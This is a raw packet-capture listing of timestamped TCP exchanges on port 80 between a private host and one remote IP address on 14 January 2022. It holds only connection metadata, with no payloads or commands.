Jan 14, 2022 20:24:10.046880007 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.046907902 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.046936989 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.046946049 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.046972990 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.047002077 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.047029018 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.047041893 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.047066927 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.047075987 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.047105074 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.047132969 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.047161102 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.047173023 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.047197104 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.047205925 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.047233105 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.047255993 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.047275066 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.047287941 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.047312975 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.047331095 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.047344923 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.047372103 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.047384024 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.047405958 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.048326969 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.048342943 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.102986097 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.103131056 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.103173971 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.103214025 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.103221893 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.103251934 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.103291035 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.103291035 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.103329897 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.103362083 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.103368998 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.103406906 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.103446960 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.103487015 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.103491068 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.103523970 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.103528023 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.103564978 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.103588104 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.103604078 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.103642941 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.103658915 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.103681087 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.103718996 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.103734970 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.103758097 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.103797913 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.103818893 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.103837967 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.103876114 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.103905916 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.103914976 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.103954077 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.103976011 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.103990078 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.104028940 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.104043007 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.104068041 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.104105949 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.104126930 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.104146004 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.104182959 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.104202986 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.104221106 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.104259014 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.104273081 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.104295969 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.104334116 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.104346037 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.104372978 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.104412079 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.104435921 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.104453087 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.104490042 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.104512930 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.104527950 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.104567051 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.104582071 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.104604006 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.104644060 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.104660034 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.104681015 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.104720116 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.104732990 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.104758978 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.104795933 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.104815960 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.104834080 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.104876041 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.104896069 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.104912043 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.104949951 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.104971886 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.104989052 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.105027914 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.105041981 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.105067968 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.105104923 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.105129004 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.105144024 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.105181932 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.105195999 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.105218887 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.105272055 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.105777979 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.105818033 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.105901003 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.106956959 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.166578054 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.166609049 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.166625023 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.166641951 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.166657925 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.166675091 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.166692019 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.166707993 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.166724920 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.166723967 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.166740894 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.166758060 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.166759968 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.166766882 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.166774988 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.166793108 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.166799068 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.166807890 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.166821003 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.166826010 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.166848898 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.166857958 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.166866064 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.166882992 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.166898966 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.166901112 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.166914940 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.166932106 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.166935921 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.166948080 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.166965008 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.166970015 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.166980982 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.166990042 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.166996956 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167012930 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167020082 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.167030096 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167046070 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167052031 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.167097092 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.167103052 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167119980 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167135000 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167150021 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167157888 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.167165995 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167181969 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167193890 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.167198896 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167215109 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167229891 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167232990 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.167247057 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167258024 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.167260885 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167277098 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167278051 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.167293072 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167309046 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167313099 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.167325020 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167341948 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167362928 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.167365074 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167376995 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.167382956 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167397976 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167413950 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167429924 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167434931 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.167448997 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167460918 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.167471886 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167494059 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.167494059 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167515039 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167536020 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167555094 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167561054 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.167573929 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167577982 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.167593956 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167613029 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167615891 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.167633057 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.167655945 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.169903040 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.224699974 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.224750996 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.224781036 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.224806070 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.224849939 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.224870920 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.224899054 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.224940062 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.224957943 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.224987984 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.225032091 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.225037098 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.225075960 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.225119114 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.225126982 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.225164890 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.225212097 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.225219965 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.225260973 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.225312948 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.225312948 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.225359917 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.225400925 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.225414991 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.225456953 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.225512981 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.225529909 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.225559950 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.225601912 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.225616932 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.225655079 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.225714922 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.225740910 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.225765944 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.225807905 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.225821018 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.225888968 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.225936890 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.225980043 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.226018906 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.226037979 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.226043940 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.226058006 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.226088047 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.226125956 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.226176977 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.226237059 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.226284981 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.226315975 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.226321936 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.226330042 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.226361990 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.226387978 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.226399899 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.226438046 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.226478100 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.226516008 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.226520061 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.226526022 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.226556063 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.226592064 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.226603031 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.226629972 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.226671934 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.226684093 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.226710081 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.226748943 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.226792097 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.226799965 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.226861000 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.226902008 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.226914883 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.226941109 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.226944923 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.226979017 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.227019072 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.227070093 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.227082968 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.227111101 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.227149010 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.227178097 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.227185965 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.227197886 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.227225065 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.227262974 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.227339983 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.227341890 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.227380991 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.227787018 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.229027033 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.281694889 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.284717083 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.284749031 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.284773111 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.284792900 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.284806967 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.284811974 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.284832001 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.284837961 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.284852028 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.284872055 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.284878016 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.284888029 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.284908056 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.284910917 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.284928083 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.284948111 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.284955025 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.284965992 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.284985065 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.284985065 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.285005093 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.285022020 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.285036087 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.285041094 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.285058975 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.285059929 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.285079002 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.285098076 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.285099030 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.285116911 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.285136938 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.285140038 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.285156012 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.285173893 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.285176992 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.285192966 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.285212994 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.285216093 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.285232067 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.285252094 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.285258055 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.285269976 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.285289049 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.285290003 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.285309076 CET	80	49907	81.163.30.181	192.168.2.3
